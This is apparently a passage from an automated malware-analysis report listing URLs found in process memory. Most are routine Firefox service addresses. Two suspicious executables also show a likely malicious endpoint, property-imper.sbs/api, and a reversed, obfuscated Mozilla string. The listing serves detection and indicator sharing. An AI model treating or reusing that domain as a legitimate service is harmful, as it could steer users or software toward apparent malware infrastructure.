Source: firefox.exe, 00000019.00000002.3338438924.000001E16DA22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A1BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s_injectDefaultProtocolHandlersIfNeeded
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comnetwork.proxy.backup.socksbookmarksToolbarWasVisiblemaybeShowOnboardingDi
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%shttps://mail.google.com/mail/?extsrc=mailto&u
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3340221551.000001E16DC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3313377233.000001E169E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sWarning:
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comuseDistinctSystemPrincipalLoaderprofilerRecordingButtonCreated
Source: c9ac8940e6.exe, 00000008.00000003.2977388861.0000000001110000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000003.2977149973.0000000001110000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000002.2978850655.0000000001110000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3478494612.0000000001650000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3478494612.00000000015F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: c9ac8940e6.exe, 0000000A.00000002.3766637179.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3478494612.00000000015F1000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3746432077.00000000015F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/0
Source: c9ac8940e6.exe, 0000000A.00000003.3201101586.000000000165F000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3254134266.0000000005D37000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3312414559.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: c9ac8940e6.exe, 0000000A.00000003.3251801367.0000000005D2D000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3254134266.0000000005D37000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3312414559.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiM
Source: c9ac8940e6.exe, 0000000A.00000003.3251801367.0000000005D2D000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3254134266.0000000005D37000.00000004.00000800.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000003.3312414559.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiR
Source: c9ac8940e6.exe, 00000008.00000003.2977149973.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, c9ac8940e6.exe, 00000008.00000002.2978638147.00000000010B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiae
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3343522083.000001E16E159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BECC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A1AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3341632616.000001E16DF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/FORCE_PRIVATE_BROWSING_WINDOW
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/browser.tabs.tabClipWidth
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000019.00000002.3401458060.000001E176877000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3404355837.000001E17787A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000019.00000002.3378267040.000001E171723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/The
Source: firefox.exe, 00000019.00000002.3411102048.000001E17835F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3411102048.000001E17837F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3393078737.000001E176585000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_DEV_IDLE_DAILY
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_DEV_IDLE_DAILYDISCOVERY_STREAM_DEV_SYNC_RSDISCOVERY
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E170005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://static.adsafeprotected.com/firefox-etp-j
Source: firefox.exe, 00000019.00000002.3325328648.000001E16B7DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BECC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000019.00000002.3351329432.000001E16EB5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000019.00000002.3372793946.000001E170AA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpchrome://browser/con
Source: firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000019.00000002.3352536303.000001E16ED00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3380278202.000001E171880000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000002.3378267040.000001E171723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUnable
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesstartMigration
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationmedia.videocontrols.picture-in-picture.video-toggl
Source: c9ac8940e6.exe, 0000000A.00000003.3285535253.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 194fcc03d1.exe, 00000009.00000003.3496792178.000000002425E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
